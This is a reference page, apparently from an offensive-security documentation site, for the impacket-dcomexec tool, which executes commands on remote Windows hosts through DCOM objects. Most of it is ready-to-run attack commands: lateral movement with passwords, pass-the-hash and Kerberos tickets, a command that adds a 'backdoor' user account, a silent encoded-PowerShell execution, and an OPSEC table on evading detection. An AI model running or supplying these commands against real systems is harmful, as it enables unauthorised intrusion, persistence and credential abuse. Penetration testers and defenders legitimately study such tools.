> ## Documentation Index
> Fetch the complete documentation index at: https://docs.bytejmp.com/llms.txt
> Use this file to discover all available pages before exploring further.

# impacket-dcomexec

> Remote command execution via DCOM objects (MMC20.Application, ShellWindows, ShellBrowserWindow). Semi-interactive shell with password, hash, or Kerberos authentication.

## Overview

`impacket-dcomexec` executes commands on a remote Windows host by abusing legitimate DCOM (Distributed Component Object Model) objects. It provides a semi-interactive shell without creating services or scheduled tasks.

Three DCOM objects are supported, each with different execution characteristics and detection profiles.

***

## Authentication

| Method    | Flag                   | Example                                     |
| --------- | ---------------------- | ------------------------------------------- |
| Password  | `domain/user:password` | `CORP/admin:Password1`                      |
| NTLM hash | `-hashes`              | `-hashes :aad3b435b51404eeaad3b435b51404ee` |
| Kerberos  | `-k -no-pass`          | `-k -no-pass -dc-ip 10.10.10.1`             |

***

## Basic Usage

Interactive semi-shell (default object is MMC20.Application):

```bash theme={"dark"}
impacket-dcomexec CORP/admin:Password1@10.10.10.5
```

Execute a single command:

```bash theme={"dark"}
impacket-dcomexec CORP/admin:Password1@10.10.10.5 "whoami"
```

Without interactive shell (command only):

```bash theme={"dark"}
impacket-dcomexec -nooutput CORP/admin:Password1@10.10.10.5 "net user backdoor Pass123 /add"
```

***

## Available DCOM Objects

### MMC20.Application (default)

```bash theme={"dark"}
impacket-dcomexec -object MMC20.Application CORP/admin:Password1@10.10.10.5
```

Uses `MMC20.Application` COM object and calls `Document.ActiveView.ExecuteShellCommand()`. Process spawns under `mmc.exe`.

### ShellWindows

```bash theme={"dark"}
impacket-dcomexec -object ShellWindows CORP/admin:Password1@10.10.10.5
```

Uses `ShellWindows` COM object (`Shell.Explorer`). Leverages an existing `explorer.exe` instance. Process spawns under `explorer.exe`.

### ShellBrowserWindow

```bash theme={"dark"}
impacket-dcomexec -object ShellBrowserWindow CORP/admin:Password1@10.10.10.5
```

Similar to ShellWindows but uses a different COM class. Process spawns under `explorer.exe`.

***

## Specify Object with -object

| Object               | CLSID                                  | Parent Process |
| -------------------- | -------------------------------------- | -------------- |
| `MMC20.Application`  | `49B2791A-B1AE-4C90-9B8E-E860BA07F889` | `mmc.exe`      |
| `ShellWindows`       | `9BA05972-F6A8-11CF-A442-00A0C90A8F39` | `explorer.exe` |
| `ShellBrowserWindow` | `C08AFD90-F2A1-11D1-8455-00A0C91F3880` | `explorer.exe` |

```bash theme={"dark"}
# Try ShellWindows if MMC20 is blocked
impacket-dcomexec -object ShellWindows CORP/admin:Password1@10.10.10.5 "whoami"
```

***

## How It Works

1. Authenticates to the target via RPC (port 135)
2. Requests instantiation of the specified DCOM object
3. The DCOM runtime negotiates a dynamic high port (49152+) for the object
4. Calls a method on the object to execute `cmd.exe /C <command>`
5. Output is redirected to a temp file and read back over SMB (port 445)
6. Temp file is deleted after reading

Requires ports 135 (RPC) and 445 (SMB) plus dynamic high ports (49152-65535).

***

## OPSEC

| Artifact           | Details                                               |
| ------------------ | ----------------------------------------------------- |
| No service created | Unlike PsExec, no service is installed                |
| No scheduled task  | Unlike atexec, no task is registered                  |
| Process parent     | Depends on DCOM object used (mmc.exe or explorer.exe) |
| Network            | RPC on 135 + dynamic high ports + SMB 445             |
| Temp file          | Output written to `C:\Windows\Temp\<random>.tmp`      |
| Event 4688         | Process creation shows parent as mmc.exe/explorer.exe |

DCOM execution is harder to detect than PsExec/smbexec because it uses legitimate COM objects. The unusual parent-child process relationship (e.g., `mmc.exe` spawning `cmd.exe`) is the primary detection vector.

***

## Pass-the-Hash

```bash theme={"dark"}
impacket-dcomexec -hashes :aad3b435b51404eeaad3b435b51404ee administrator@10.10.10.5
```

With specific object:

```bash theme={"dark"}
impacket-dcomexec -hashes :aad3b435b51404eeaad3b435b51404ee -object ShellWindows administrator@10.10.10.5
```

***

## Kerberos Authentication

```bash theme={"dark"}
export KRB5CCNAME=/tmp/admin.ccache
impacket-dcomexec -k -no-pass CORP/admin@DC01.corp.local
```

With explicit DC IP:

```bash theme={"dark"}
impacket-dcomexec -k -no-pass -dc-ip 10.10.10.1 CORP/admin@DC01.corp.local
```

Target must be specified by hostname (FQDN) when using Kerberos, not by IP.

***

## Quick Reference

```bash theme={"dark"}
# Interactive shell (default MMC20)
impacket-dcomexec CORP/admin:Password1@10.10.10.5

# Single command
impacket-dcomexec CORP/admin:Password1@10.10.10.5 "whoami"

# Use ShellWindows object
impacket-dcomexec -object ShellWindows CORP/admin:Password1@10.10.10.5

# Use ShellBrowserWindow object
impacket-dcomexec -object ShellBrowserWindow CORP/admin:Password1@10.10.10.5

# Pass-the-hash
impacket-dcomexec -hashes :NT_HASH administrator@10.10.10.5

# Kerberos
export KRB5CCNAME=/tmp/admin.ccache
impacket-dcomexec -k -no-pass CORP/admin@DC01.corp.local

# No output (blind execution)
impacket-dcomexec -nooutput CORP/admin:Password1@10.10.10.5 "net user backdoor Pass123 /add"

# Silently execute (fire and forget)
impacket-dcomexec -silentcommand CORP/admin:Password1@10.10.10.5 "powershell -e JABjAGwA..."
```

| Flag             | Description                                                              |
| ---------------- | ------------------------------------------------------------------------ |
| `-object`        | DCOM object to use (MMC20.Application, ShellWindows, ShellBrowserWindow) |
| `-hashes`        | NTLM hash for pass-the-hash (`LM:NT` or `:NT`)                           |
| `-k`             | Use Kerberos authentication                                              |
| `-no-pass`       | No password prompt (use with `-k`)                                       |
| `-dc-ip`         | Domain Controller IP for Kerberos                                        |
| `-nooutput`      | Do not retrieve command output                                           |
| `-silentcommand` | Do not retrieve output and do not open a shell                           |
| `-codec`         | Output encoding (default: utf-8)                                         |